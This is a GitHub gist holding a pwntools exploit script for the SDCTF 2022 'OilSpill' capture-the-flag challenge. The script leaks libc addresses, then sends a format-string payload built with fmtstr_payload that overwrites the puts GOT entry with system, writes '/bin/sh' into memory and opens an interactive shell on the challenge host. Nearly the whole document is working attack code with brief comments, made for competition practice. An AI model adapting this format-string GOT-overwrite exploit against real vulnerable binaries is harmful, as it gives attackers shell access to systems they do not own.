Created
May 9, 2022 00:15
-
-
Save reductor/fe84dbb7ed3296f5fb66b1370f57af6b to your computer and use it in GitHub Desktop.
sdctf 2022 - oilspill
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
# This exploit template was generated via: | |
# $ pwn template ./OilSpill_patched --host oil.sdc.tf --port 1337 | |
from pwn import * | |
# Set up pwntools for the correct architecture | |
#exe = context.binary = ELF('./OilSpill') | |
exe = context.binary = ELF('./OilSpill_patched') | |
# Many built-in settings can be controlled on the command-line and show up | |
# in "args". For example, to dump all data sent/received, and disable ASLR | |
# for all created processes... | |
# ./exploit.py DEBUG NOASLR | |
# ./exploit.py GDB HOST=example.com PORT=4141 | |
host = args.HOST or 'oil.sdc.tf' | |
port = int(args.PORT or 1337) | |
def start_local(argv=[], *a, **kw): | |
'''Execute the target binary locally''' | |
if args.GDB: | |
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) | |
else: | |
return process([exe.path] + argv, *a, **kw) | |
def start_remote(argv=[], *a, **kw): | |
'''Connect to the process on the remote host''' | |
io = connect(host, port) | |
if args.GDB: | |
gdb.attach(io, gdbscript=gdbscript) | |
return io | |
def start(argv=[], *a, **kw): | |
'''Start the exploit against the target.''' | |
if args.LOCAL: | |
return start_local(argv, *a, **kw) | |
else: | |
return start_remote(argv, *a, **kw) | |
# Specify your GDB script here for debugging | |
# GDB will be launched if the exploit is run via e.g. | |
# ./exploit.py GDB | |
gdbscript = ''' | |
tbreak main | |
continue | |
'''.format(**locals()) | |
#=========================================================== | |
# EXPLOIT GOES HERE | |
#=========================================================== | |
# Arch: amd64-64-little | |
# RELRO: No RELRO | |
# Stack: Canary found | |
# NX: NX enabled | |
# PIE: No PIE (0x3ff000) | |
# RUNPATH: b'.' | |
## find format offset | |
## fmt offset = 8 | |
if False: | |
for x in range(1,10): | |
io = start() | |
io.recvline() | |
io.sendlineafter(b'?\n', f'AAAAAAAAAAAAAAAA %{x}$p'.encode('ascii')) | |
print(x,io.recvline()) | |
io.close() | |
exit() | |
io = start() | |
pointers = io.recvline() | |
puts, printf, stack, tmp = [int(p,16) for p in pointers.split(b', ')] | |
print('puts', hex(puts)) | |
print('printf', hex(printf)) | |
print('stack', hex(stack)) | |
print('tmp', hex(tmp)) | |
libc = exe.libc | |
libc.address = puts - libc.symbols['puts'] | |
print('libc', hex(libc.address)) | |
writes = { | |
exe.symbols.got['puts']: libc.symbols['system'], | |
exe.symbols['x']: b'/bin/sh\x00', | |
} | |
extra=b'' | |
payload = extra+fmtstr_payload(8, writes) | |
assert b'\n' not in payload | |
assert len(payload) < 300 | |
io.sendlineafter(b'?\n', payload) | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment